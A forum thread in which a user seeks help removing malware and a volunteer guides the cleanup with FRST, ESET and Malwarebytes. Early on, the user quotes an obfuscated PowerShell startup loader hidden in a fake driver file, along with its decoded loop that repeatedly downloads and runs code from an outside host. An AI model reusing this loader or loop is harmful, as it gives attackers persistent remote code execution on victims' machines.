am i still infected?

[Teapot]

Hello,

I had a powershell script running at startup. I've done some research, deleted some files, and i don't see the process anymore but i still don't know what it was. 

This was the commandline for the script "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &{$env:psmodulepath = [IO.Directory]::GetCurrentDirectory(); import-module AppvClient; Sync-AppvPublishingServer n; $sc = [System.Text.Encoding]::UTF8.GetString([System.IO.File]::ReadAllBytes('C:\Windows\System32\drivers\SkVSjq0D9\DA4A1F43-F9E8-4A62-988D-3DDAC0ECE249.sys'), 1560279, 410); $sc2 = [Convert]::FromBase64String($sc); $sc3 = [System.Text.Encoding]::UTF8.GetString($sc2); Invoke-Command ([Scriptblock]::Create($sc3))}

With a little help i could decipher what the script tried to do:

while ($true) {
try {
$r = Invoke-RestMethod -Uri 'http://wmail-service.com/v1/CECCE2DA-EF51-4D10-B16A-726EEBC7E043?v=Downloads_Counter12'
if($r -ne '')
{
Start-Job ([ScriptBlock]::Create($r)) | Wait-Job
}
}
catch {}
Start-Sleep 2
}

I deleted that folder in System32\drivers and i have not seen powershell running anymore but i'm not reassured. Still don't know what started that script. Thanks a bunch for help.

ps i'm a developer so there are some unknown exe's on my system, sorry.

 

 

FRST.txt Addition.txt

[Maurice Naggar]

Hello @Teapot  You have made more than 1 topic. Please hold ON & standby.  I will help you.  Do NOT create any other new threads. !!!

[Maurice Naggar]

Hello   @Teapot

I will guide you along on looking for remaining malware. Lets keep these principles as we go along.

• Removing malware can be unpredictable
• Please don't run any other scans, download, install or uninstall any programs while I'm working with you.
• Only run the tools I guide you to.
• Do not run online games while case is on-going. Do not do any free-wheeling web-surfing.
• The removal of malware isn't instantaneous, please be patient.
• Cracked or or hacked or pirated programs are not only illegal, but also will make a computer a malware victim. Having such programs installed, is the easiest way to get infected. It is the leading cause of ransomware encryptions. It is at times also big source of current trojan infections. Please uninstall them now, if any are here, before we start the cleaning procedure.
• Please stick with me until I give you the "all clear".
• If your system is running Discord, please be sure to Exit out of it while this case is on-going.

[Teapot]

my topic was hijacked so i complained and the webmaster has made a new topic for me.

Thanks! I will await your instructions. I don't think there's anything active anymore, i don't see strange processes,  but i would like an opinion from the expert.

[Maurice Naggar]

Please  set File Explorer to SHOW ALL folders, all files, including Hidden ones.  Use OPTION ONE or TWO of this article
Please use thuis guide https://www.tenforums.com/tutorials/7078-turn-off-show-all-folders-windows-10-navigation-pane.html

[ 2 ]

No, this machine is not in the clear. There is a rogue scheduled task still around that misuses & hijacks for ill a VBS script.

This custom script is for  Teapot  only / for this machine only.

Be very sure to Save any work-files you have open at this point. Close & Save any open edits, if any. Next, a custom script to do  checks & some  cleanups. 

We will use FRST64   to run a custom script.    The system will be rebooted after the script has run.

This custom script has some specific things, plus some general aspect to help the system overall.  Hoping it will not exceed 60 minutes in execute time.

NOTE-1:  This script will  run a scan using System File Checker to check that all Microsoft operating system files are valid and not corrupt and attempt to correct any invalid files. .It will also run the Windows tool DISM to check Windows integrity.  It will rebuild the Winsock. 

NOTE-2: This should run  scans with MS Defender antivirus and remove outstanding action items, if any.

•  
• Please be sure to Close any open work files, documents,  any apps you started yourself  before starting this.

 

• If there are any CD / DVD / or USB-flash-thumb or USB-storage drives attached,  please disconnect any of those.
• Please save the (attached file named) FIXLIST.txt   to the   D:\in  folder , where you saved FRST64. The script & FRST64 have to be in same folder. They work together.

Fixlist.txt          <<< - - - - -

Then, Start the Windows Explorer and then, go  to the   folder  D:\in .

RIGHT click on FRST64   and select RUN as Administrator and allow it to proceed.  Reply YES when prompted to allow to run.
  to run the tool. If the tool warns you the version is outdated, please download and run the updated version.
IF Windows prompts you about running this, select YES to allow it to proceed.

• IF you get a block message from Windows about this tool......

               click line More info information on that screen
               and click button Run anyway on next screen.

• on the FRST window:

Click the Fix button just once, and wait.

 

PLEASE have lots and lots of patience when this starts. You will see a green progress bar start. Lots of patience. 
If you receive a message that a reboot is required, please make sure you allow it to restart normally.
The tool will complete its run after restart.
When finished, the tool will make a log ( Fixlog.txt) in the same location from where it was run.

Please attach the FIXLOG.txt with your next reply later, at your next opportunity.

[Teapot]

will do, thanks, see you later.

[Teapot]

The scan completed in 15 minutes, i attached the log.

However i'm having problems with intenet now. I had to get to my laptop to post back.

Some sites do work, but others are unreachable. 

Fixlog.txt

[Teapot]

Internet problem solved, DHCP was not enabled anymore.

[Maurice Naggar]

Got the Fixlog. Serious questions now because I see that Microsoft Defender antivirus settings have a big bunch of Excluded paths. Meaning they are EXEMPT from scanning or monitoring by MS Defender protection. Any idea if you yourself set all these exclusions ??? 

"C:\Vb"="0"
"F:\Setup"
"C:\Pd"
"G:\"   <<<- this means the entire G drive is exempted from Defender protection !!!
"C:\in"
"C:\Games"
"C:\Tools"
"C:\Qt5.14"
"D:\Games"
"C:\Tools\Anvir"
"C:\Tools\Anvir\anvir64.exe"

[Teapot]

Hi Maurice, yes i did those, thanks.

[Teapot]

The G: drive is where most of my software project are.

[Maurice Naggar]

Next, This will be a check with ESET Onlinescanner for viruses, other malware, adwares, & potentially unwanted applications.

Go to https://download.eset.com/com/eset/tools/online_scanner/latest/esetonlinescanner.exe

 

It will start a download of "esetonlinescanner.exe"

• Save the file to your system, such as the Downloads folder, or else to the Desktop.
• Go to the saved file, and double click it to get it started.

 

• When presented with the initial ESET options, click on "Computer Scan".
• Next, when prompted by Windows, allow it to start by clicking Yes
• When prompted for scan type, Click on Full scan

Look at & tick ( select ) the radio selection "Enable ESET to detect and quarantine potentially unwanted applications" and click on Start scan button.

• Have patience. The entire process may take an hour or more. There is an initial update download.

There is a progress window display. You may step away from machine &. Let it be.  That is, once it is under way, you should leave it running.  It will run for several hours.

• At screen "Detections occured and resolved" click on blue button "View detected results"
• On next screen, at lower left, click on blue "Save scan log"
• View where file is to be saved. Provide a meaningful name for the "File name:"
• On last screen, set to Off (left) the option for Periodic scanning
• Click "save and continue"
• Please attach the report file so I can review

[Teapot]

scan in progress..

[Teapot]

i'm doing a full scan and it's gonna take some more hours. It will probably ready tomorrow.

[Maurice Naggar]

Sure. Good. 😀

[Teapot]

Here's the scan result.

I think FRST already removed the trojan?

Thanks!!

result.txt

[Maurice Naggar]

Yes, I do expect that the fixes I had you do have been very very helpful. 

get a set of fresh reports to see what is running, what is active. Your machine has the FRST64 report tool on the D:\in folder. We will use that. Go to D:\in folder. RIGHT-click on FRST64 and select 

Run as Administrator

and tap ENTER. And reply YES to allow to proceed.  

•  When the tool opens click Yes to the disclaimer.  And be very sure to TICK the box for Addition.txt
• Press the Scan button.

• It will make a log (FRST.txt & Addition.txt) in the same directory the tool is run
• Have patience since the run may take something like 10 or so minutes  (less depending on your hardware speed)
• Close Notepad IF those show up on Notepad.
• Just please Attach the 2 files FRST.txt +Addition.txt  with your next reply.

[Teapot]

Here you are..

Addition.txt FRST.txt

[Maurice Naggar]

Thank you for the reports. 

I would recommend getting a report on the update status of some key apps.

• Download SecurityCheck by glax24 from here  https://tools.safezone.cc/glax24/SecurityCheck/SecurityCheck.exe
• and save the tool on the desktop.
• If Windows's  SmartScreen block that with a message-window, then
• Click on the MORE INFO spot and over-ride that and allow it to proceed.

                               This tool is safe.   Smartscreen is overly sensitive.

Right-click  with your mouse on the Securitycheck.exe  and select "Run as administrator"   and reply YES to allow to run & go forward
Wait for the scan to finish. It will open in a text file named SecurityType.txt. Close the file.  Attach it with your next reply.
You can find this file in a folder called SecurityCheck, C:\SecurityCheck\SecurityCheck.txt

[Teapot]

I can't get it to download, Chrome and Edge say 'virus detected' and Vivaldi just doesn't download it. Tried a few times.

[Teapot]

Here you are.

SecurityCheck.txt

[Maurice Naggar]

There are several applications that are out of date and are in need of attention & updating for the latest releases.
Notepad++ (64-bit x64) v.7.7.1  Warning! Download Update

LibreOffice 6.2.8.2 v.6.2.8.2  Warning! Download Update

PuTTY release 0.73 (64-bit) v.0.73.0.0  Warning! Download Update

Oracle VM VirtualBox 6.0.12 v.6.0.12  Warning! Download Update

Python 3.5.2 (32-bit) v.3.5.2150.0  Warning! Download Update

TeamViewer v.15.25.6  Warning! Download Update

WinSCP 5.15.4 v.5.15.4  Warning! Download Update[/b]

Total Commander 64-bit (Remove or Repair) v.9.51  Warning! Download Update

WinRAR 5.80 beta 1 (64-bit) v.5.80.1  Warning! Download Update

IrfanView 4.53 (64-bit) v.4.53  Warning! Download Update

paint.net v.4.3.7  Warning! Download Update

FastStone Image Viewer 7.4 v.7.4  Warning! Download Update

Zoom v.5.8.7 (2058)  Warning! Download Update

Skype version 8.79 v.8.79  Warning! Download Update

qBittorrent 3.3.16 v.3.3.16  Warning! Download Update

Java 8 Update 60 (64-bit) v.8.0.600.27  Warning! Download Update
Uninstall old version and install new one (jre-8u333-windows-x64.exe).

Java SE Development Kit 8 Update 60 (64-bit) v.8.0.600.27  Warning! This software is no longer supported. Please uninstall it and use Java SE Development Kit (jdk-18_windows-x64_bin.exe).

Audacity 3.0.0 v.3.0.0  Warning! Download Update

foobar2000 v1.6.8 v.1.6.8  Warning! Download Update

Mozilla Firefox 72.0.2 (x64 en-US) v.72.0.2  Warning! Download Update

Vivaldi v.5.3.2669.3  Warning! Download Update

Google Chrome v.77.0.3865.120  Warning! Download Update

Mozilla Thunderbird (x64 en-US) v.91.9.1  Warning! Download Update

---------------------------- [ UnwantedApps ] -----------------------------
AML Free Registry Cleaner 4.6  Warning! Suspected Adware! If this program is not familiar to you it is recommended to uninstall it

+

A request please 

I would like to get a copy of what we placed in Quarantine, from the runs I had you do. Please. 

• Using Windows File Explorer, Navigate to C:\FRST folder on your system. Expand the folder so you see all contents.
• Right click on Quarantine > Send to > Compressed (zipped) folder
• Upload the archive in your next reply
• If archive is too big you can upload here > https://wetransfer.com/

Also, Let me know how the situation is at this point as to any new "block" notices, or some other active security issue.
Also, please do one new Scan with Malwarebytes.

Thank you!

[Teapot]

Hi Maurice,

I have a lot of software on the pc which i hardly use, i just keep it because i have the space. For instance i have more then one version of libre office, a whole drive with all kinds of software.

Since work on android has stopped i don't use java anymore. I know it's a bit of a mess, i'm cleaning things up as i have time.

I'm sorry, I thought we were ready and i deleted the c:\FRST map. I only have the .txt file but that's not what you're asking.

I have not seen any suspicious activity anymore.

Can i make you a small donation?

I regret not being able to send the quarantine data you request, i wasn't patient enough, i do see the importance of your work.

[Maurice Naggar]

I am a volunteer. What you may do is "like" my post. (look for the heart icon at very bottom , right-side ) 😀

It had not occurred to me till sometime yesterday that this pc does not have Malwarebytes. 

One other action:  Malwarebytes for Windows  can detect and remove most malware with no further actions required for free.
Since it does not appear that this machine has it, go and install Malwarebytes for Windows.
See https://support.malwarebytes.com/hc/en-us/articles/360038479134-Download-and-install-Malwarebytes-for-Windows

After the setup has completed, run a Threat Scan, open Malwarebytes for Windows and click the blue Scan button.

Then, locate the Scan run report;  export out a copy;  & then attach in with your  reply.
See https://support.malwarebytes.com/hc/en-us/articles/360038479194-View-Reports-and-History-in-Malwarebytes-for-Windows-v4

ALSO, do this one time adjustment: 

Start Malwarebytes. Click Settings ( gear ) icon. Next, lets make real sure that Malwarebytes does NOT register with Windows Security Center

Click the Security Tab. Scroll down to

"Windows Security Center"

Click the selection to the left  for the line "Always register Malwarebytes in the Windows Security Center".
{ We want that to be set as Off   .... be sure that line's  radio-button selection is all the way to the Left.  thanks. }

This will not affect any real-time protection of the trial of Malwarebytes for Windows    😃.

Close Malwarebytes.

 

[Teapot]

 

It won't let me change the Windows Security Option because it's a trial, it says premium only. I'm not sure whether that means i can't turn it off, it seems to be on.

In the scan lots of programs i made are flagged as malware. In fact, lots of security programs flag software as malware for the only reason that they are unknown to them. This is false information. Anyway, things like astroclock.exe, rename.exe, movie.exe etc etc are my own. Some are freeware from jcremers.com.

I do have malware bytes firewall which i love.

mb.txt